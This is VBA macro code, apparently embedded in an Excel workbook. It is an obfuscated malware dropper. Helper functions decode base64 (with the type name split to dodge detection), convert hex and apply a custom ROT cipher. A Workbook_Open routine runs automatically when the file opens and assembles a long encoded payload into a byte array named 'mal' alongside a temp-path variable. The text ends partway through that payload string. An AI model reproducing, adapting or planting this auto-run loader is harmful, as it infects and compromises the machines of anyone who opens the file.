Function RandomString(Length As Integer) Dim CharacterBank As Variant Dim x As Long Dim str As String 'Test Length Input If Length < 1 Then MsgBox "Length variable must be greater than 0" Exit Function End If CharacterBank = Array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", _ "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", _ "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "!", "@", _ "#", "$", "%", "^", "&", "*", "A", "B", "C", "D", "E", "F", "G", "H", _ "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", _ "W", "X", "Y", "Z") 'Randomly Select Characters One-by-One For x = 1 To Length Randomize str = str & CharacterBank(Int((UBound(CharacterBank) - LBound(CharacterBank) + 1) * Rnd + LBound(CharacterBank))) Next x 'Output Randomly Generated String RandomString = str End Function Private Function Decodensdr64(ByVal strData As String) As Byte() Dim objXML As Object 'MSXML2.DOMDocument Dim objNode As Object 'MSXML2.IXMLDOMElement 'get dom document Set objXML = CreateObject("MSXML2.DOMDocument") 'create node with type of nsdr 64 and decode Set objNode = objXML.createElement("b64") objNode.DataType = "bin.ba" & "se64" objNode.Text = strData Decodensdr64 = objNode.nodeTypedValue 'clean up Set objNode = Nothing Set objXML = Nothing End Function Function ByteArrayToGwzStr(b() As Byte) As String Dim n As Long, i As Long ByteArrayToGwzStr = Space$(3 * (UBound(b) - LBound(b)) + 2) n = 1 For i = LBound(b) To UBound(b) Mid$(ByteArrayToGwzStr, n, 2) = Right$("00" & Hex$(b(i)), 2) n = n + 3 Next End Function Function GwzStrToByteArray(GwzStr As String, byArray() As Byte) As Boolean Dim n As Long, i As Long On Error GoTo EH ReDim byArray(0 To (Len(GwzStr) + 1) \ 3 - 1) n = 0 For i = 1 To Len(GwzStr) Step 3 byArray(n) = CByte("&H" & Mid$(GwzStr, i, 2)) n = n + 1 Next EH: If Err Then MsgBox Err.Description, vbExclamation + vbOKOnly Err.Clear Else GwzStrToByteArray = True End If End Function Public Function ROT(sText, offset) Const cAlphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-./:;<=>?@[\]^_`{|}~0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&'()*+,-./:;<=>?@[\\]^_`{|}~" Dim sROT13, lPos For lPos = 1 To Len(sText) iChar = InStr(cAlphabet, Mid(sText, lPos, 1)) If iChar = 0 Then sROT13 = sROT13 & Mid(sText, lPos, 1) Else sROT13 = sROT13 & Mid(cAlphabet, iChar + offset, 1) End If Next ROT = sROT13 End Function Private Sub Workbook_Open() Dim strTempPath As String Dim str As String Dim mal() As Byte Dim zuoto As String str = "@\R=##/####'####99z##.H#########=#################################################'###vGVHv#U#O:+CH$" str = str + "@/rI\)IQDZ$XDNAODN(U+):ICNwWE%$J`?$ZE]vHB]vH>'A@+)sW`)[V&=r-,#########$s:L^A/\DSSK(^-xvY\ZVV;%5vSJ:^" str = str + "-xx<,J5W;\DSSPzN--zs\ZVVKZ_VSZ\^-xx<,JRW:sDSSNP9-Rz5\ZVV/\DRSQs^-xxN,?-W;\DSSR_M-xzX\ZVVQJ^[SK$^-xvY" str = str + "\yZV/(DSSR_M-BzX\ZVV[NMKB&(^-xv##########($(##$LIH_#C`vR_###########z##J+#T%&IX#[####(=########D[X##" str = str + "#$#######+#$#####$#####%###)##########_##########;#####'#########H$H#=##'########$###########$######" str = str + "###=#############$####$HIH##\####.?)##$z#=###/###<H#####T###&#_##############:###-=####+D=##;#######" str = str + "#############################'$Y###v#=##############_###r#=##################################%wr`^Ir" str = str + "####)'v####=####[#####=##################%###)#VDN>IE)'##*PA####_####&v###$[##################$###$#" str = str + ".N>IE)'###&X%=###-#####'####LH##################=###X%wX`)(r_=##&#_###%X####%####,_#################" str = str + "#'###'#VDO:Z_X###<H#####X#####+###%F##################$###$#.O,MC)AK##%L#####:#####%####P###########" str = str + "########=###=H######################################################################################" str = str + "####################################################################################################" str = str + "####################################################################################################" str = str + "#################################################################'J:&BM:##&Qr&z##'J&y%I+K=s`LX##x:#x" str = str + "##$+K=uQ@=##?+<'-;NX<X##!/!/!/+##/!/!/!/!/!/!/!/!/Y$\L(^?+<T)'t.z'Z.rLZ.5[J(Z=5't#'##'J(rH5'!X'##'Z," str = str + "`%=+>@<L?_<v#=5%R#'##'J,^%=X?+MT,&I+J^=L='J,G%==@+LT,'Z:.[Y]###<*r##&Y5'######%v$=###'Xyz'L<=T`#/W`+" str = str + "JzI(/T#Zt!.?>@.,=&.9>@.C=&.U?+<Q#^>y?+<Q#^>[?+<Q#^=x?+<Q#^=^?+<w#^\v>=5t=H>$&yCX=+&N*r*#x#\$&y`?#X5t" str = str + "ZH5ttP&I#z&S#T&I#v&K*r=-XD&R$r[<ULP%==5tZ_&I&X.,%U($X;L'>=5t]H($&yC.==5t5v&I#[&=yz&I$'%#wYA'%TM$X;T)" str = str + "==5t-L#<UTt#v=G#v=,'%UM#X;r&@#<=@%WX?+<P#^=[?+<P#^=\?+<P#^=>?+<v#^=?xY:$T?$$&yCwTJ$$T%$$&yC_=._H=#5t" str = str + "Y[N&Y#I%&y_'-')+$r'<UT:%&y_'-')+>X(#&yC*=H5t$%I$J'D%==5tX[+<UH=P=_I*#X5tXL+<UH=P=_I*$#5tXr+<UH=P=_I*" str = str + "$['<UT$%&y_/-')+@X`#&yC;=H5t&%M$J'z*?_<*%'N&9H'<HwW599A/JZXL?+Uz,$$+Ju=L='J.C%=v?+UD,&$,Jz>$YHD#@+UL" str = str + ",#I+Hz=_=\A$^T/!X'J&Y$I$^r(FXz!/!'J,^%=+?+MT,$$+J^=L)'J,G%=H@_W=?+WY?+^,E)I+IE,r_r*tXH:s^[[!X'N&5H'<" str = str + "HW=###$+K?t?\###`Q#<UH,,H5P'>#5t]H'<ULP%>#5t?H:+K\+'<+$!-L)#5v$!,+&wH*/G=_&wH*/`<&sr([)#5!sr&rt(rO[I" str = str + "H<LAE?E';TMr+K<#?+UD,#I+JtXL''J.E%=_?+Uz,%&&H<LAE;>$H<LAE:v<UKXP=+&9<uG[==5t*%V#5!AuZL=<UIXQ=_&y=*F9" str = str + ">=5t&%M$H<M#Ey=<UT:#X;D%X;H'==5tZ?=&X;/'=#S*H;'9J#`,Hz#&==5tXz&P#J=<%T;+>H($&yC&X;#)%TJ+@H,+Hz_&=_&w" str = str + "=*[.?G9+>@S`E=:,9zI,H9P$&v/\9999?_W#x\C9999/!/!/!/!/!/!/!/!/?+<TB'J.$_]/##$+/z>+J[=L['J:@%=H9Y\?[###" str = str + "?+s[,%$+K[XL-<z\?M###+^#E#Zw#=###<z\=rz##/Z&G%=zFOX,/zO9(@:<##&/x:r:##&PR#P##;KK$H##?+U/,($+/z!PAKD#" str = str + "#'J&Y)K&!.H$####Xz!/!/!/!/!/!/Y#[rJ&y%$+Js'_?+W`?+<x'*+T?+T,?<9%?+*x#$###*+_@+U$5'J&XJE,-zI+K[*v?+<v" str = str + "*uDI?_W+x/[u##$+Yr/=#####'K*=YH<####YH/#?+<'+(W&9Y]B@H##!/Y+J\XL%'J,E%==\rJ&y%$,JAM,J9$+J9Q:IDMr=[J(" str = str + "Z^[O9Y\P@H##YX#]####9Y^'@H##V$_###$+JsXL/'J.E%=v?+<'+(9&?+^tE%,+;9UZ*[Z.XrJ.sVK&>H##/z$+JsXL/'J.E%=v" str = str + "?+<'+(9&@+W*/A.PZ'=##'J(AO?K?&WyDy&9(=`;##&*#%+###&9(],;##$+JsXL/.HJ####?+Ur,&I+Hz=H^z</!/!/!'J,^%=H" str = str + "\\`^=\>$\[(]=\E+K]XLt[J$y,####$+JX^EJH##?&<'?+M(*rt.x'Z.vLZ.5[J:(_`?##$$V<=%##$+K=s,]H##=CL$####x&v_" str = str + "##$+Yz<99999?+Wv?+W&>@<#?<9#>&H'$u^u>@<,?+W^&YA##)`N`HzGI#######&y_-?+s?#[].r'*9X+&w<^^V>_^?GHM'JzI(" str = str + "-zI$9z)`H5+&#z.$5#-::'$$-9(+_zy9(>$:##$/J9#<*r=##'K9Xv#z*X$sArZ.XrJ.srN.!VI`9<99/9A+K>]=[###&sG#?+MA" str = str + "sr[!Z[J,GEA(/z%,GGE+K[u^J^uW&Y((9vMAwvWG&Y((&9z\)Lv##+^#&vK,####?+U:srJ:>GF,G%=P>+s<$'Z:>FE+J[=L+'J:" str = str + "([Q=##&9(>>;##%(X#5+NX###+UEw9z\/rP##'?.X!<??+W+9Y]M?H##?+W_?+^#E*Y+Jru^?+s(AvMz,%I'K[z'@+s(yrJ,>%=H" str = str + "?+r\*\###<z\Yrr##+^#F(,'JruO?+s\urJ.@EE/Jz;,G%=XJ^XL-'J,G%=H9Y\Q@=##ID$v.'J.@EA(/zM(Jz>,JAG9(_,:##%(" str = str + "X*H\>+U(yrJ:\GA+JruG>@<,9Y\I@=##?+U:srJ(Z^=+/A.9([I:##$+JruG?+^,E#C9(@(:##$+IEUr(<z\ELL##'Z.X!<??+W+" str = str + "9Y\H?=##?+r([[z##'J,GEE(/zM+J[^W>@<#?+MAurJ:(`$<##$+JAA+K[u^9Y^K@###ID$vD[?.YLN.sSL$####9Y]N?###>@<," str = str + ">@<#?+W_?+U=)'J:>EA+Hz,H?+M',%$$K[L$9Y\Z?###ID$r;'J.@EA/K[^9Yr=L/#+###$+K\^WYr=L-##$##$$V?####$/J]XL" str = str + "+<z\D[X##+^#F#Fv#=###;TX?+U:srJ(Z^=+/A.9(]s/##$+JruG?+^,E#C9(@`/##$+IEUr%[J.Z9z\''H##+W*?+U:*rH!!;KB" str = str + "/X##?+VD,;H###$+HD?=####=\A$^L(E=\YG^Mu&!/!/!/!/!/!/!/!/!/!/?+MD,$I\\ME$\'(\=\`$\rJ$y##$##$+JX^%IX##" str = str + "?&<'?+N',<H###$/J5(/J5Rw$#'##<z\CLP##'Z:$EE]##$+J[=L['J:\%>H?+s/,(&9(?,-##$$V='###$+K>[s[H##?+r:$MD#" str = str + "#']:==WP9>=##')w#=###'J:(?I?##$+K=uQ\H##@+Wv>_s$&VKE(###?+UT,($+YzG99999?+W<@+WX?<9$H&XQ#*^u?+W*=_$z" str = str + "$H'#?+s##^^r?+s_#LH&t[J.Z9z\trL##'Z.Y[J.rrJ.Z'J.z<z\Z[P##'Z:$B,]##$+JA:+Jzy9(Bw-##$:Jz`+JA:+Jzy9(`A-" str = str + "##$+JzE+J^=L[#zGH#####$+9z%#<#_#EGD<*v######=_$z<X'#?+s9#^^r?+sG#LH&t'J.Z9z\C'L##'Z.YLJ.rrJ.Z'J.5<z\" str = str + "]LP##'Z:$@:]##$+JA:+Jz99(@A-##$:JzE+JA:+Jz99(@$-###!ALJ,G%>=?+Mr,&$(/zO*>%=PH####'[!X.P###$#Yr=L+#+#" str = str + "##$+Jz5,E%>_9Y\L>H##?+W_?+<v9X5'!=###'Z:@%>_?+Mr,%$(Jz\,JA>+JzK9(@`)##%(X#5'S####'J.Z9z\*[_##'J.@%>=" str = str + "?+t',;####$+J[=L?#A^X'J:>%>XYr=LD)H###$+J[=L='[!Z[J,E%=v>@<#?+Mr,&#!rTE',%H####+J^=L+#z>>%>v&Y)',+H#" str = str + "###<'_=LN#####z>I%?P####&Y)',.H####<'_=LZ####<z\O[[##'J.K%@v####?&</x'rY##$+JwXL[#'##'J$Y##$##$$^r(F" str = str + "=\s$^(AF^D;w#=###<z\>rH##/!/!/!/!/Y+J\XL%'J,E%==?+Mz,$I\=\`$\rJ:S%>H9G99?+*TP#/##'J.$?B(##$+/z>+J_]=" str = str + "#H##=CL$####?+r\KrX##'J:&`I[##$(K['zx+z?##%w$#'##'J.t<z\V[D##&<9?+s[,&$+JzU+J^XL/'Z.5;Jx-H##?+W_?+t:" str = str + "L####'JvDN(u^u\ZC##!rL)v##+##'J,>_KP>!v##'J:\_I+JzW9(GI)##$+J9$'J9E+ID$r@[)w##+##'Z:=#Q$JA(+K_t=####" str = str + "9Y\@?###?+r\.([##'J:@HS9(D,)##$+ID$r%%W)H5H-@)<X@_W;@+s)%SP'#=##?_W<9Y[H?###>@<,?+Mz,&I/K[=L;'J,G%=H" str = str + "?_W^/zO9(F:+##$(/z&*>%>H#=###'J:\%>H?+Mz,)I+K[XLF'J,G%>X9Y]N?###?+Ur,&Jw)####<z\ELH##'J.t'J(X*=!?+Mv" str = str + "%'J:\%=X?+Mv''J.!LJ:$DE[##$+J^XL/'J,#9z\][H##+M&''J.>%=X?+M&%;T&?+WG?+U/,&I+IDMr$LJ.#GA=''J.rrJ:@%>#" str = str + "x</,##$/Ju=L]'J:\%>#?+Ur,'$,H9v=?/G#99999rH<=A_<*r=##'K9X'#v<#,sAr?.YXzG=##<UHQ+K\+$>+W<9zF#5@ssyr](" str = str + "Z^v,>+W#>%W*=G9#N_<J#X<%XGH%K@Y#=?Wv?)<<9Y[$>H##@+U',($+K\=L='N&9I$+JzI+JAI+&r<]x'!s99A/K=[A[H##@+WX" str = str + "?+s\H'J:@%=X9Y]C>=##?+U/,&$(/zM'JzE+JA<PH$###'J.\%>_?+WX?+<x'*+s?+U/,'$+9z,+Jz(+HGP#'###DIY+JrOv?+<%" str = str + ",rHSX[J&X<I+H9HGEHG9(`U(##&/x-'V###!rLJ:@`$$V##$##&P.KX##'N:KH&99999(\E(##$+J9I,HGv##=##DOQ+IG`r_rJ." str = str + "sLJ:@`$$V#+###%=?+t,H#####z=#LJ:LP#####<'[)#&Y$-L#z>?`#<''-H&Y($P#z=?S#<'[NX&Y$%X#z>=D#<''S=&Y(,r#z=" str = str + "=V#<'[*H&Y$-z#z>?G$,H5H$EBuS'Wz\A[=##/D#(H###<z\[[[##'Z:IH#$##$+JzA:K_v#9999?_t]#<9995HzAW99@+s(L'J." str = str + "!rN:MH&9999PtGC99v^#E#A,K`_#9999?+W<x;Cw99A+Jvt=#H##?&</x+DU##$/K`XLP#/##'N.]Z$,Ju/P?_Uy/'N.vr(G=\wE" str = str + "Xz!/!/!/!/!/!/Y+J\XL%'J,C%==?+Mr,$I+J^XL+'([=\`$\rJ&y*$+JX\SH=##?&<'?+M',)$/K=]D[###?+s[,&$+K[XL-<z\" str = str + "w'/##')w#=###'J:(>E/##$+K=u+[###>_s$'5J9&H##?+U[,%I+YzG99999@+W*?G9#=P#z#H$sAL)w#=###'J.Z;J_&H##JXsZ" str = str + "[###?+WX&Y#(?(###+M/,(H<UHsI[###&Y#:>M###+I/,(Zw$=####z>>%=v&Y(/,'K9(`\&###!Z[Z.z<z\PL=##'J.Z<z\T[=#" str = str + "#&<C&Y5######<z\RL=##'?.X.HwKV/v=GGPXGP&JzS$x>z&r_r/rT*I#L=SX[MKX#5t@#=v=PH//rK9XrJ&5X\zYrJ.>%=P?+W<" str = str + "=D`)$=$+9z)#<#H#EGE+Hz''?.K:!/!/!/!/!'Kuv[K$xH,+K=!\#=###<z\$L/##'J.\%=P@+W*@+WH&Yz#?G9#=P#z#H$sALJ." str = str + "sLN.!;I.z<99=CL$####?+r\9LP##'J:&`E<##$(K['>x+v:##$/J9I:IF>r;!<?@_W'L''<UHI:K[#$?)<R9z-#5@ssyLIKtLJ." str = str + "Z9z\NL+##'Z.![t.Y'J.Z'J.rrJ.z<z\K[/##;T%/9`+JzEN&YA'##$+9z%#<#_#EGE+Jzz<*r##=_$z&H'#?+s,#^^r?+s`#LH&" str = str + "t'J.Z9z\@'+##'t.YLJ.rrJ.Z'J.x<z\;L/##'Z:$F:;##$+JA:+Jzu9(>A&##$/Jz`+JA:+Jzu9(>$&##$+JzA+9z)#<%L#EGE+" str = str + "JzF==_$z$X'#?+s##^^r?+s_#LH&t[J.Z9z\y''##'Z.Y[J.rrJ.Z'J.z<z\tL+##'Z:$_E;##$+JA:+Jzy9(CA%##$:JzE+JA:+" str = str + "Jzy9(C$%##$+9zF#<&v#EGE+HzD,?+W<9Y]J==##@+r([rv##'J.srJ.Z'J.t<z\K'+##'Z:$@U;##$+JAE+JzW9(^(%##$/Jz`+" str = str + "JAE+JzW9(],%##$+K\=L+'K*>%=H#####'J.Z5IT,###?+U/,)$+/z!P@ZP##'Z:^%>X?_UC+'N.BZI,Ju/X?_Uy;'N.vr(G=\w$" str = str + "^/:+J\XL%'J,E%==?+Mz,$I\=\>$\[(]=\E+KBXL[<!99rJ$y.#'##$+JX[ZGH##?&<'?+N(P#/##')v$#'##'J:M`#$##$+K=r'" str = str + "uW999Y\F<H##/A,$V#=$##$+K_t#####x+Xu##$+K_]#####?+M',%$(/zM(/z$$K\'(/zO9(F=9##$$WX'###$(JzA(K[D=?+r\" str = str + "r'H##'J:&\(:##&P@#T##'Z.z'K*Y99999A+JzA+9z)#<#H#EGE+K`]#####?+W*?+s##_#z#H$sALJ:]#,+#AM+JzW9([Q###$+" str = str + "J9$/K_]#####?+W@?+W+9Y[r==##@+r(&[r##'J.rrJ.!Wz\)['##'t.YLJ.rrJ.!Wz\%L'##&<??+W;9Y\9<=##>_W<=CHH####" str = str + "?+r\\rH##'J:&CI/##&PTXP##'Z.z'J.!rK9X_#z&H$sArJ.Yw$+K[#$=_#z$H$sA[J:]#,+#AM+JzW9(Cr9##$/J5I/Jz`+JA:+" str = str + "JzK9(BU###$/K=]'@###?+W@?_W:9Y]==###@_W)?+W@?_W:9Y]$=###?+t(L#'##'J.AXzGH#####$+9z`NH!YX#*^t?+s;#Gz\" str = str + "`&z##'Z.z'J,E%=H@+t:L#'##'Z:>H(+JA$+K[sv9Y^z<H##>_W<=CH;####?+r\I'T##'J:&G\.##&Pz#L##'Z.v'].!r)v$X##" str = str + "#'J:(EM*##$+K=u]?X##x:',##$/J9I+JzA+9z)#<#H#EGE+JzE+9z$$H&X'#*^t?#<+?+W*?+s##[)#<#_#EG\+K\H$?#<`?+W." str = str + "9Y^/<H##?+WX@_W'?+W@?+W+9Y]x<X##@_W)?+W@?+W;9Y]K<X##@_W*?+W@?+W;9Y][<X##>@<9=_WG@+MA_'K*>]H<####J(s=" str = str + "/A,$V$#$##$+K[XL=;H9:=##?_W\?+s/,'&PD$L##,$(K]D$@&MAr#5'L####'J.>%>#?):+$'?'`#Y=E\-=?+s','$+#zJZ%Wz\" str = str + "t&X##'=<UT$+K\\=?+s/,'&P^Iv##'J:@\$+HusP''H<=rs=?+s]#Gz\MKr##'J(X''<>EY+Jr=L='IK?#>'I)=/[*?W?+s/,(&P" str = str + "Q>X##'J(X*[G?+U','$+_rH'?+s','$+#zI(/z$$K\#%9Y]J<###L'J:@%>#x.D.##%=?+U\B'J&5I$Z:'K9XLJ.@\$+Jz(+HGP#" str = str + "'###DIY+Hz+O?+U,5'HSX[J&X<I+H9HGEHG9(B_A##&/x-XN##%(tX5(Z=###'N.!FK+%H##?+W+@+Mz,&&*>%=PH####/E',%#'" str = str + "####>@<,>_W'K\/'9Y^`;H##?+W_?+<v9u[-=_W/9Y\G<=##!')w#H###'[!X&<??+W.9Y]x;H##>+WX@+W<&YA##'O9X[-#<#v#" str = str + "EG`'J^XL+'[!X').sLJ.Z9z\NKP##'Z.YrO9X'-#<#_#EG`/J^XL+'Z:@^$+JA`+JzW9(@#x##$+9zF#<&v#EGE/JzA'J^XL+'[!" str = str + "X').sLJ.Z9z\_&P##'J.Z9z\9!L##'J.KB#&##$+/z!PR%[##'Z:O%?X$###?_UC/'N.D!I,JuU#?_WK=\A$^L(E=\YEXz!/!/!/" str = str + "!/Y+J\XL)(\]\r([=\\$\L(^?+<T_'J.$`\w##$+/z>+J[=L['Z.5LZ.x[J,@%>+/5t.A_WA?+MT,&I+Yr=L=#z###$#J*=L-'[!" str = str + "X'J:@%=Px)X(##%=>+WM&Y5'######%,C%=H?+s[,%$,Jrz+9Y]E<=##ID$r$'),>Y$';t=L+#5&s#'##'Z.A=zGH#####%,C%=H" str = str + "?+s[,%$,Jrz+9Y\s<=##ID$r$'),>Y%.>%=H@&WX&v;B#=##VX###<A/K[XL?'].Y').sLN.@XK9(^vA##%(X*=)=_M*';T'JsXL" str = str + "?.I]\\\\A5x.XT*P*X<=K=>?JzvSZ*=]H5L$E#R&5=(s(X5tX5T/Jz<$x#KS$_W&XFH=H5#[email protected][*##%#G=G9Z+<+5<9#" str = str + "ID#<I=T$##%.!v*I#=##H*r*9zN&ZGy9X_W*N?W%rGJ.r%[$##%#G=G9Z+<+9W9#>+r'?+W%N?W%rGJ.Z+*I#=##H*r*9zN&ZGy9" str = str + "X[B:&')`-z.>5+W+HF'$##%#G=G9Z_<,9W9$>Pr'?`LSXU*vJzJ$v='##+$A$99,HzO59z()K=Y$N?W%rGJ.Z+*I#=##H*r*9zN&" str = str + "ZGy9X[B:$'N`-z.>5+W+HF'$##%#G=G9Z_<,9W9$>Pr'=`LSXU*v,='##+$A$99+HzK59z$%K@Y#IGAr^[J.@%=v?+U[,'$+;zQ!" str = str + "+rJ:==(+J[=L;'J:>%=P?+<x''H<=r=L-'%+<#K)>#H$#;T;>#5t!rJ:@%=Px)/###&9Y_<A#X5/N<y99rO9YK<Ux@y599A$9z@Q" str = str + "$Wy99Xz=>%=P==z>>=#<''XL;''<'[r=?_W(?+U/,($+/z!P#J/##'J.O%?X####?+<'_'(G=\w$^[(D^swEXz!/!/!/!/!/!/Y#" str = str + "[s\]=\E+H5XP?+UQ''Jy999999999uA+Jz:(&yCw?%W(?+WY?+<v#=5%-H'##'Z,`%>H@+sM#[Z,E%=H@+UY)'N.!'J&Z=A+;zUu" str = str + "*rN.sLJ.XrK>xLHSXLXyz*D;?Pr'/LJ.t[HyZ'H<=UI+JzU+J^XL]'J&X=(+Yz&99999?#A%Z'J$5=#=##$Z-'J:=?E+;z'<ISP#" str = str + "##$+JzKPBZ+##'J(X*>t?+sv,rJ&w5$+J[GvxY(+IDMr%VI;+H##?+WvxX+!9rZ,`I$/Jz\+J\v_?+W<?_<5'*,-?+TF?+W@x,rY" str = str + "##$,K\_$>+Hz.z`'.X'#?+*x#$###*+_?+U.5'J&XJE+-AM+K[<v?+<v*uD:?+W`?+W.x;PI##&S)<z\sKH##/Y+JACP\K'##'?+" str = str + "<%9)>%z$#'J,<LJ.YLJ.G%>_@+UL,)$/Ju=L+'J&Y%I$^swE]z<PR#'##/!P#H###/!/?+<T-'J:&\\(##&9(_zu##&/!/!/!/!/" str = str + "!/!/!/!/!/Y+K=\,>=##?/E$'#####$+J['+?+r(sKT##'J,#[J.XD</!/!/!/!/!/!/!/!/!/Y+K=\w;X##?+L$?+<$%'K9,`/u" str = str + "##&/!/!/!/!/!/!/!'J,^%=+\rJ&y%$+K=\<;X##?+Ww?+L$JAQ+Hz'+9Y\M:X##AT/$E#tx)####'J.!5K9+###?+UD,&$+JzE+" str = str + "Hz=H^z</!/!/!/!/!/!/!/!/=(:+H5XH?+W`?+W%?+r:9@P###A^X'J:[XI+J=U+K[H+&Y'%9Y[):X##?+r(*!T##'J,#rJ.XrJ&" str = str + "Y%$CXz!/!'$@?+<T+'J.t[J.XLJ:&Crx###<\z$+K\/+?+L.?+s+%#z>#Wz\YK_##'J:$CDx##$+J=:+Jz:+Hz=H]z</!/Y+Js'+" str = str + "?+r(<[=##'J(rLH<>D.&!/!/!/!/!/!/!/!/!'$@?+<T+'J.t[J.XLJ:&\rx###<\z$+K\/+?+L.?+s+%#z>#Wz\`K_##'J.XrJ&" str = str + "Y%$CXz!/!/!/!/!/!/!/!/Y+H5Y+?+s/,%&PDWy99rJ:(DU`##$+K[XL+;J<.=##!'J,^%=H\ME$\LJ&y%$/Ju'_?_WX?+W`@@W)" str = str + "E!>+J9M,H9v=DH:+J!M+J^'=?+r\;r/##'J.!5I$.=##?+W&YH=5#'J.^%>_?+<'+'(F^sy&?.9999999999GrHyAX5*9X###'J." str = str + "!LJ&Z=A+;zAu*rN.sLJ.YrK>xLHSXLXyz*D;?Pr'/LJ.5[HyZ'H<=WI+JzA+J]XL?'J&X=(+Yz&99999?#A%Z'J$5=#=##$Z.'J:" str = str + "=?E+;z'<IR'###$+JzKP->z##'J(X#5'J=###'J:B%E+H5^H?+M(5;T>?+^,E#SP%$z##'J.x;T%/5s/Jz`+J^/=?+r\E[+##'J," str = str + "FYI+JzuP^%v##/_'.H$,H9v=DJs+JXU,K\_$?+*x#$###*+_@+U$5'J&XJE,-zI+K[*v?+<v*uDI?_W+x-HF##$+J?U+Jz:+JtXL" str = str + "?'J.^%>_?+<'+'(F^sy&9Y\A:=##!;I99W99!;K`9<99!/!/!/!/!/!/?<zMR@+##/!/!/!/!/!/!'J,^%=+?+MT,$$+J^=L+(E$" str = str + "\L(^?+*T/#H##'J.$[wZ##$+/z>+J_=L+#H##').z'J.xLJ.t@<?=CH#$###?+t/,%#'##$(J9OPU%T##&<??+s/,%$$V##'##&P" str = str + "PJT##'](9vs5#=A'9LIK!9z\YK=##'](9r?:E9A$V=+###$+J9$'&r@u>_W>/9A$VX#$##$'JzD<*r##&Y5'######$+Yz*99999" str = str + "?<9$=&Hz%u^u?_s%9K<??<GY?/G$99999X55$$Q%J_='+#=##'):=Gw%J[='+'K9X[#v<#UsArN:=Wz!rLKuz[K*XG9999z<WH=B" str = str + "=PN'$%='##$$K[*9=PM'$%>+9z(#;&X.EGD!rLB,@#=P?_W%?<GY?/G$99999X55$$Q%J_='-#=###zG=#$+9z(#;&X.EGE,K[+$" str = str + "/A,+A9(,Hz+'&yv')L-,I#=T$###=_s$#[)&X=>%J[='.'N&X$$$K[*5=@W&&vXX9999JAE/JzEN`N_<*v=######'+&M#=H$###" str = str + ">PU/$%$$#A)$vWz##+$A%W9-HDP#99999z,+_z,+K[XL+'J:&+).#[-,>#=H?_<#$'?,%[N&xX(sWLsKuPW^>_^t&vx(####@+W)" str = str + "?%WV9z-$vWz##+$A%W9-HDP#99999z,+_z,/K[XL+'].(+(:K=Z$=_r';J^9##%#G=O9Z#r#99999z$+_9I+K[XL++T'V[J:&.M$" str = str + "J=('J>($JX($#z+M9X##H*r,9zH:#<99999#?,H<ULZ'+''Z&%I$J#I,9z$,Jz$+-z`,;z:zH[J.YL](9u=(=D_'/X$+JvXL+#H#" str = str + "#'H!!;K;)X##@+tD,&#+##$,JsTH?_US-'N.D!I,J5:$^r(F^z</?+MD,$$+J]XL)'J,E%=H\rJ&y'$+JX^(CX##?&<'?+M',&I+" str = str + "J5M+Yz*99999?+W`?<9&H&XS#*^u?+s!#CH%####?<GN?#A#X[J.Z;I!*X##@+W:?+MD,%$/Jz`+K[XL/'J.r'J.5<z\5!'##'J." str = str + "YrJ.@%=v?&</x&/C##$+JsXL]'J.C%>H?+Ur,)I+Hz>#^z</!/!/!/!/!/!/!/!/!'J,^%=+\rJ&y%$+KCNX####?+V*[<999rIK" str = str + "?#>+K=\(<X##?+N';\&999A+JvE=9999?):+$+t>[<999vN[;[!999A+K`AH9999?+r(,!z##'J,#rJ&Vv######E%A+JrT_?+s&" str = str + "D'Hw#^[J@+V&L####'J.LvH###$+J>(+Jr/v?+L=>%W%?+U&['?,#+$yG#$r%'J.Z5HM'###?+W.9Y\L/###L'J:KtK99999([vX" str = str + "##$+JzA+JsXL/'J&Y%$G?<zM_K###/!/!/!/!/!/!/Y+J\XL%(E+H5XH?+W`?+W-x(T=##$+JzI+J9K9(_zW##%'X*=@?/E&B###" str = str + "##$+JsXL/'J&Y%$GXrJ.ZrJ,FtI+JsXL/'J&Y%$G?<zMR%z##'$@?+<T+'J&V_######?+W`E%s/JX)x99999r*9[$J&5<Ar*'J." str = str + "Jv####&9(`DY##%(X*L.V<9999A+Hz=H]z/!X'J&Y%$CXz!/!/!/!/!/=(:]?+<T?'J.$D,U##$+/z>+J[=L;&<t@_W+?+W`?+^?" str = str + "E=M:ID$'K[_'E#:'Jz`+JvN#####?+^,&v?F####9Y[S/=##ID#<I`####$+J^XL='J.ZrJ.Vv####&)=uX$=+I!DGz\yJv##'J(" str = str + "9u>;@+s/,&$+J^=L+'Z:>%=P?+Mr,%I+K\=L+'J,E%=X?+W<9Y]R/###?+U/,%$+J[T_?+M.+'J.@%=P?+M.;'J,?r$+JrXL/'J," str = str + "?s$+J[U_?+T:u*_##'J.XrJ,Vv####$+JuXL='J,?u>+J^:PxX+!X'J.@%=v?&</x.=_##$+Hz>+^MW&!/!/!/!/!/!/!/!/!'$@" str = str + "\ME+H5XX?+T(X]X##'H!Y'J,>%=P?_U#%'N.z'L&#'J.tLJ&V_######?+Ww?+M',%$rD;HM&=##I/$r`rJ.Kv####$+K\=L+<z\" str = str + "(!###+^#E\(+Jrz_?+s*D'J.\I$+J\Er?&L$E?`+JwF+####@+V*L####'J,'[=SXLJ.@!I+J>(+JrA=>+L$?+U^E'J.@%=H?+L." str = str + "?/E&%#####$+J\/=xY[!X'K*#99999A+Yr/+#####'J,=Y$+Jz:+JrXL-'H!!;K\(X##?+<'/(AF]z</!/!/!/!/!/!/!/!/=(:\" str = str + "\ME$\LJ&y&$+JX^FBX##?&<'?+M',%I+Jr'v@+sYD').x[N.z'J.5LJ.t[Xw/*[==_<w#^[-?+:wB#$s#rK9!LJ&V_######&v?(" str = str + "####x%P/##%'X*>z?+^tE=]&9=(r(rJ.Jv####$'Jz\+JAC9(=LW##%(X*\C?+V.H####'J:\%=H9Y^S.H##ID$s>[J.=YI/;@$s" str = str + "+LJ.LvH###$/Jv;=####?+L=>%W%?+U.;'J,'[J.?s$'J=(+JrUr?+U[,%$+J>E+J[z=?/E*%#####&S(@<#?/D*99999rK*>XH#" str = str + "####?+M*''J.YrJ.@%=P?&</x/[]##$+Hz=X=\wG^MsCXz!/!/!/!/!/!/Y+J\XL)'J,G%=H=\`+H5XH?+:wB#$,JAI/J9,+J9Mr" str = str + 